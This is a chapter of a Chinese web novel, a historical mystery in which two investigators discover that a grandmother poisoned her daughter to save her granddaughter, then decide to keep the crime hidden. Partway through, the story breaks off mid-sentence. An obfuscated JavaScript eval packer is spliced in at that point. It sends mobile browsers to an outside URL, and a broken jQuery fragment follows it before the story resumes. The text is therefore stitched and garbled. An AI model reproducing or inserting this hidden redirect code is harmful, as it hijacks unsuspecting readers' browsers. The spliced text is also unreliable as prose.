薛灵玥与秦艽骑快马赶到县衙，此时正值月黑风高，衙门空寂无人，连一丝鬼影都没有。只有敛房外的白灯笼高悬摇曳，在夜风中发出细微的吱呀声。
摸黑儿溜进去，里面只停放着一具尸身，白色的敛衾微微隆起，正是死者张慧娘。薛灵玥蹲下身，吹亮手中的火折子，翻阅开木床侧面悬挂的验尸格目。
粗粗一扫，她轻声道：“此地的衙役果然办案草率，敷衍马虎，遗漏了许多证据，你瞧那指尖的痕迹就没有记录。”
炎夏刚过热意尚存，人死了一天，已经开始散出一股淡淡的莫名气味，秦艽实在不愿意靠过来，虚掩着口鼻，勉强瞥了一眼道：“既然不写，恐是他们觉得不重要，那会不会压根儿不是淤痕，而是花草的汁液？”
“诶，你这么说倒也在理！”薛灵玥喃喃，放下手里的东西，说着便要去碰张慧娘的手，被秦艽一把眼疾手快地拉住：“那可是死人！”
“死人怎么了？说的好像你没杀过人一样。”薛灵玥不以为意，哗啦一下撩开敛衾，露出青灰色的尸身，空气中那股淡淡的臭气更加明显。
秦艽满脸的嫌弃，登时后退几步，辩解道：“那能一样吗，我平日管杀也管埋啊......”谁会大晚上亲亲热热地拉着死人的手翻来覆去地看！
张慧娘的尸身僵硬冰凉，张牙舞爪的手指悬在半空。薛灵玥蹲在旁边，鼻尖儿几乎贴上她的手指，离得近了，吸着鼻子嗅了嗅，果然闻到一股淡淡的花香。
再细看十指指尖，个个皮肉圆润，全无伤痕，发紫处的边缘模糊不一，痕迹斑驳，正是水泽干涸的特征。
她不禁笑道：“还真叫你说对了。”
思及今日在死者家院中见到的花草，薛灵玥脑海中隐隐约约有些模糊的印象，却又想不起来，便道：“你记不记得，他们家好像种了什么东西是紫色的？”
秦艽心中暗暗叫苦不迭，真后悔让她来，下意识开始打岔：“许是有吧，我也没细瞧，你们女郎平日用来染指甲的花草不就是什么红的紫的吗？”
“那是红凤仙，价比黄金，她一个山中农妇怎么会种得起！”薛灵玥一见他翘尾巴就知道他在想什么，登时没好气得堵了他一句，但话音才落，忽得脑中灵光一闪。
染指甲的花草......
前朝的官家小姐......
紫铆，毒草，心悸而亡......
薛灵玥蹭地站起身来，“我知道是谁杀了张慧娘了！”
却说这日在县衙呈供画象后，老妇便带着小女郎回到家中，静候县衙抓人缉凶的消息。
此时天色将晚，祖孙俩却还未就寝，因着一日发生的天翻复地的巨变，心中皆是自难平息。
屋中的炕上铺着两床整齐的棉被，那小女郎早哭哑了嗓子，眼睛红肿的似两颗桃子，瘦弱的身体抽噎着缩在阿婆温暖的怀抱里。
“宁娘莫怕，待过了你娘亲的头七，阿婆便送你去读书，”老妇轻拍着娃儿的脊背，“往后别担心你阿娘的事，待你出去走走，看看，便发现这外头的天地大得很，万事万物自有他的造化，不必为这些烦恼。”
“那阿娘的造化是什么？”她哭着问。
老妇神色复杂，刻意避开宁娘的视线，“她呀，她是漫天飘散的草籽，决定不了自己的命运，只好随风落到石头缝儿里，能钻出芽儿来，却长不成参天大树。一切来也轻轻，去也轻轻，终要归到尘土里。”
宁娘似懂非懂，被泪水沾湿的睫毛在阿婆粗糙的掌心间颤动。
老妇的声音越发干涩：“宁娘，但你不一样。你还小，能长成一棵参天大树。高高的，长到那天上去，替你阿娘看到她从未见过的光景。到那时她在天上，也会明白我的苦心的。”
“要怎样才能长成树？”宁娘抽噎着，轻轻的问。
“去读书。”老妇坚定道：“去考女官，不要害怕自己的野心，咱们要堂堂正正的去做寻常女子敬畏的事情。”
宁娘一下坐起来，摸着泪儿道：“可学堂已经没了......”
“不要紧，阿婆再去寻别的，天底下这么大，学堂多得是！”老妇将娃儿拉回怀中，干枯的手换换抚摸着宁娘的后脑，直到感觉她抽泣的身子渐渐平复。
暗夜中，烛火熄灭。
怀中传来宁娘平静的呼吸声，她睡熟了。老妇手指微颤，“孩子，你要往前走，万事都有阿婆在，阿婆不会让任何人困住你的。”
声音轻的仿似叹息，消融在幽静无光的夜里。
小院儿里已没了那些花草的痕迹。院边墙檐下裸露的泥土蓬松湿润，微微陷出一个小坑，仿佛才被人翻弄过。
薛灵玥目光一沉，悄声道：“咱们来晚了，果然都被她斩草除根了。”
“若是咱们现在报官，衙役来搜，肯定还能找到证据。”秦艽黑眸凝视着这座寂静的小院儿，低声回应：“前任会州长史现在已经下了大狱，她们一时半会儿找不到新的女学，又离不开薄田带来的生计，不会离开此地太远。”
空气中泛着新鲜的泥土气息，薛灵玥沉默片刻，忽然道：“算了，咱们既不是此地的神，不如不要管此地的事。”
秦艽一愣，惊愕的看着她。
夜色中，她五官朦胧，叫人看不真切。他从没想到浮尸案中那个不顾阻拦，拼尽全力也要为郭琼娘鸣冤的人，眼下居然骑上快马，掉头就走。
薛灵玥步子很急，生怕自己慢一些就会后悔。
头发花白，风烛残年的老妇人用如此残酷的法子才换来宁娘的一线生机，薛灵玥在内心深处为之震颤，不忍就此毁了她的谋算。
明明有毒杀的法子，却刻意在点心中放入鼠药，想来那孟二郎只是她杜撰虚构，承担嫌疑的幌子。
若说出真相，老妇入狱，宁娘该怎么办，她家里的田产又会落到何人手里？一个七八岁的女娃，尚且没有自保的能力，若是连唯一的亲人都离她而去，薛灵玥不敢相信她独身在这世上会面对什么。
更何况，要是宁娘知道张慧娘是为自己而死的，以后该如何面对阿婆留给她的这份希望。那不是通天之路，而是又一条吃人的，浸满她娘亲鲜血的死路。
张慧娘要用她女儿的身体与前程换钱，那老妇拦得了第一次，却为恐拦不住第二次，甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137670|184007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至是往后的无数次。
这不仅是一个男人吃女人的世道，更是一个女人吃女人的世道。
可两边都是人命，孰轻孰重。
替凶手隐瞒真相，是背叛了为当初官查案的本心。
但真相真的比世上的一切都重要吗？
薛灵玥为此纠结了整整一夜，待到第二日天亮，两只眼下都泛着乌青。
她在榻上睡不着，自然连带着秦艽也神识不安，一夜未眠。
望见他疲惫的脸色，薛灵玥坐在榻上拥着被子，悻悻地咬着嘴唇：“对不起，连带着叫你也没睡好。”
秦艽拧干手上的巾子，走过来摸摸她的脸蛋，动作很轻，“没有的事，我永远是与你站在一处的，知道吗？”
“嗯，”她闷闷道，仍有些低落，“我知道。”
其实薛灵玥已经打定了主意。只是还差临门一脚，无法说服自己。秦艽不动声色的将她的心思收入眼中，缓声开口：
“咱们追查真相，原是为逝者求一个公道，但有时王法断得清是非，却辨不明因果。”
抬手替她拢了拢松开的衣襟，正对上薛灵玥的视线，秦艽沉声道：“若是那个叫宁娘的女娃成了孤儿，小小年纪无亲无故，被人拐骗，或饿死街头，甚至被卖进勾栏，那岂不又是一条人命。你我虽然有心，但救不尽天下的女子。咱们替她瞒下这桩罪，不是枉法包庇，只不过是尽举手之劳，想再救宁娘一次罢了。”
薛灵玥张了张嘴，二人目光相对，一种莫名压抑沉重的气息在两人之间蔓延，她最终叹了口气。
秦艽道：“你也不必过分忧心自己会害他人枉死。以我观来，那老妇的才智远在几个县丞捕头之上，她既没有选择冤枉刘屠夫做替死鬼，想来猎户孟二郎根本就不存在。画像清晰，衙役却找不到人，便会推测对方见事情败露，隐遁逃匿。久而久之，这案子只会变成悬案，最终不了了之。”
薛灵玥又叹了口气，“还真是话都叫你说了。”
“一个合格的幕僚难道不该替主家言明心中所想？”秦艽掸了掸袖子，笑道：“你既然心中有愧，不如尽早去会州建一个真正的女学，让天下的女子都不必像宁娘一般，能堂堂正正的读书教习，而不必受制于人，一生囿于方寸之间。”
薛灵玥微微一愣。
是啊，她现在是一方的父母官了。
她需要去治理民生，稽查刑狱，承担起一个长史的重任。
更重要的是，她想为女子们去撕开那层贞静贤淑的外壳，让她们去学习律法，学习算学，学任何她们会需要的东西。
而不是懵懂无知的被迫跳进一桩预先安排的婚事。
她们是人，不是郎君的附庸，不是家族的物件，是活生生的需要有选择权力的人！
若有一日，无论她们做何种选择都能自在随心，岂不是天下女子之大幸事！
薛灵玥不由得热血沸腾，一瞬间脑海中浮现出许多过往的面孔——执迷不悟，昏昧报恩的柳七娘，囚困半生，重换新生的苏宝珠，身不由己，才情泯灭的郭琼娘，甚至是野心勃勃，不甘就此嫁人的陈夕......